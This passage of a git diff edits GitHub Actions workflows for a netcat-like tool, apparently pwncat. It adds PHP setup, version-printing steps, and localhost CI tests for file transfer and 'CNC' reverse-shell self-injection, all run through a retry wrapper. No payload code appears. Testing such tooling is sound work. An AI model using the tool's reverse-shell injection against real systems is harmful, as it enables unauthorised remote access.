+ retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed + env: + RETRIES: 2 diff --git a/.github/workflows/test-x64-ubuntu-pypy3.yml b/.github/workflows/test-x64-ubuntu-pypy3.yml index 81e8dace..3f421fae 100644 --- a/.github/workflows/test-x64-ubuntu-pypy3.yml +++ b/.github/workflows/test-x64-ubuntu-pypy3.yml @@ -11,7 +11,7 @@ on: jobs: test: - runs-on: ubuntu-16.04 + runs-on: ubuntu-latest strategy: fail-fast: False @@ -29,9 +29,11 @@ jobs: python-version: pypy3 architecture: x64 - - name: Display Python version - shell: bash - run: python -c "import sys; print(sys.version)" + - name: Set up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: '7.4' + ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash @@ -49,6 +51,31 @@ jobs: cat /etc/hosts fi + + + + + - name: Display Bash version + shell: bash + run: | + bash --version + whereis bash || true + which bash || true + + - name: Display Python version + shell: bash + run: | + python -c "import sys; print(sys.version)" + whereis python || true + which python || true + + - name: Display PHP version + shell: bash + run: | + php --version + whereis php || true + which php || true + - name: Resolve localhost shell: bash run: | @@ -72,7 +99,6 @@ jobs: # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | @@ -1071,3 +1097,184 @@ jobs: retry make _test-options--ping_word env: RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: Behaviour (File Transfer) + # ------------------------------------------------------------ + - name: "[BEHAVIOUR] File Transfer: send normal" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_normal + env: + RETRIES: 5 + + - name: "[BEHAVIOUR] File Transfer: send on eof" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_on_eof + env: + RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: CNC Self-inject + # ------------------------------------------------------------ + - name: "[CNC] Inject shell: pwncat as rev shell" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-pwncat + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed + env: + RETRIES: 2 diff --git a/.github/workflows/test-x64-windows-2.7.yml b/.github/workflows/test-x64-windows-2.7.yml index 8a98de03..52f1e584 100644 --- a/.github/workflows/test-x64-windows-2.7.yml +++ b/.github/workflows/test-x64-windows-2.7.yml @@ -29,9 +29,11 @@ jobs: python-version: 2.7 architecture: x64 - - name: Display Python version - shell: bash - run: python -c "import sys; print(sys.version)" + - name: Set up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: '7.4' + ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash @@ -49,6 +51,31 @@ jobs: cat /etc/hosts fi + + + + + - name: Display Bash version + shell: bash + run: | + bash --version + whereis bash || true + which bash || true + + - name: Display Python version + shell: bash + run: | + python -c "import sys; print(sys.version)" + whereis python || true + which python || true + + - name: Display PHP version + shell: bash + run: | + php --version + whereis php || true + which php || true + - name: Resolve localhost shell: bash run: | @@ -72,7 +99,6 @@ jobs: # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | @@ -1054,3 +1080,184 @@ jobs: retry make _test-options--ping_word env: RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: Behaviour (File Transfer) + # ------------------------------------------------------------ + - name: "[BEHAVIOUR] File Transfer: send normal" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_normal + env: + RETRIES: 5 + + - name: "[BEHAVIOUR] File Transfer: send on eof" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_on_eof + env: + RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: CNC Self-inject + # ------------------------------------------------------------ + - name: "[CNC] Inject shell: pwncat as rev shell" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-pwncat + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed + env: + RETRIES: 2 diff --git a/.github/workflows/test-x64-windows-3.5.yml b/.github/workflows/test-x64-windows-3.5.yml index bf038797..e239cc21 100644 --- a/.github/workflows/test-x64-windows-3.5.yml +++ b/.github/workflows/test-x64-windows-3.5.yml @@ -29,9 +29,11 @@ jobs: python-version: 3.5 architecture: x64 - - name: Display Python version - shell: bash - run: python -c "import sys; print(sys.version)" + - name: Set up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: '7.4' + ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash @@ -49,6 +51,31 @@ jobs: cat /etc/hosts fi + + + + + - name: Display Bash version + shell: bash + run: | + bash --version + whereis bash || true + which bash || true + + - name: Display Python version + shell: bash + run: | + python -c "import sys; print(sys.version)" + whereis python || true + which python || true + + - name: Display PHP version + shell: bash + run: | + php --version + whereis php || true + which php || true + - name: Resolve localhost shell: bash run: | @@ -72,7 +99,6 @@ jobs: # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | @@ -1054,3 +1080,184 @@ jobs: retry make _test-options--ping_word env: RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: Behaviour (File Transfer) + # ------------------------------------------------------------ + - name: "[BEHAVIOUR] File Transfer: send normal" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_normal + env: + RETRIES: 5 + + - name: "[BEHAVIOUR] File Transfer: send on eof" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_on_eof + env: + RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: CNC Self-inject + # ------------------------------------------------------------ + - name: "[CNC] Inject shell: pwncat as rev shell" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-pwncat + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed + env: + RETRIES: 2 diff --git a/.github/workflows/test-x64-windows-3.6.yml b/.github/workflows/test-x64-windows-3.6.yml index 621aaf23..71254c41 100644 --- a/.github/workflows/test-x64-windows-3.6.yml +++ b/.github/workflows/test-x64-windows-3.6.yml @@ -29,9 +29,11 @@ jobs: python-version: 3.6 architecture: x64 - - name: Display Python version - shell: bash - run: python -c "import sys; print(sys.version)" + - name: Set up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: '7.4' + ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash @@ -49,6 +51,31 @@ jobs: cat /etc/hosts fi + + + + + - name: Display Bash version + shell: bash + run: | + bash --version + whereis bash || true + which bash || true + + - name: Display Python version + shell: bash + run: | + python -c "import sys; print(sys.version)" + whereis python || true + which python || true + + - name: Display PHP version + shell: bash + run: | + php --version + whereis php || true + which php || true + - name: Resolve localhost shell: bash run: | @@ -72,7 +99,6 @@ jobs: # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | @@ -1054,3 +1080,184 @@ jobs: retry make _test-options--ping_word env: RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: Behaviour (File Transfer) + # ------------------------------------------------------------ + - name: "[BEHAVIOUR] File Transfer: send normal" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_normal + env: + RETRIES: 5 + + - name: "[BEHAVIOUR] File Transfer: send on eof" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_on_eof + env: + RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: CNC Self-inject + # ------------------------------------------------------------ + - name: "[CNC] Inject shell: pwncat as rev shell" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-pwncat + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed + env: + RETRIES: 2 diff --git a/.github/workflows/test-x64-windows-3.7.yml b/.github/workflows/test-x64-windows-3.7.yml index e3572ba9..e0c0e3cc 100644 --- a/.github/workflows/test-x64-windows-3.7.yml +++ b/.github/workflows/test-x64-windows-3.7.yml @@ -29,9 +29,11 @@ jobs: python-version: 3.7 architecture: x64 - - name: Display Python version - shell: bash - run: python -c "import sys; print(sys.version)" + - name: Set up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: '7.4' + ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash @@ -49,6 +51,31 @@ jobs: cat /etc/hosts fi + + + + + - name: Display Bash version + shell: bash + run: | + bash --version + whereis bash || true + which bash || true + + - name: Display Python version + shell: bash + run: | + python -c "import sys; print(sys.version)" + whereis python || true + which python || true + + - name: Display PHP version + shell: bash + run: | + php --version + whereis php || true + which php || true + - name: Resolve localhost shell: bash run: | @@ -72,7 +99,6 @@ jobs: # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | @@ -1054,3 +1080,184 @@ jobs: retry make _test-options--ping_word env: RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: Behaviour (File Transfer) + # ------------------------------------------------------------ + - name: "[BEHAVIOUR] File Transfer: send normal" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_normal + env: + RETRIES: 5 + + - name: "[BEHAVIOUR] File Transfer: send on eof" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_on_eof + env: + RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: CNC Self-inject + # ------------------------------------------------------------ + - name: "[CNC] Inject shell: pwncat as rev shell" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-pwncat + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" + shell: bash + run: | + retry() { 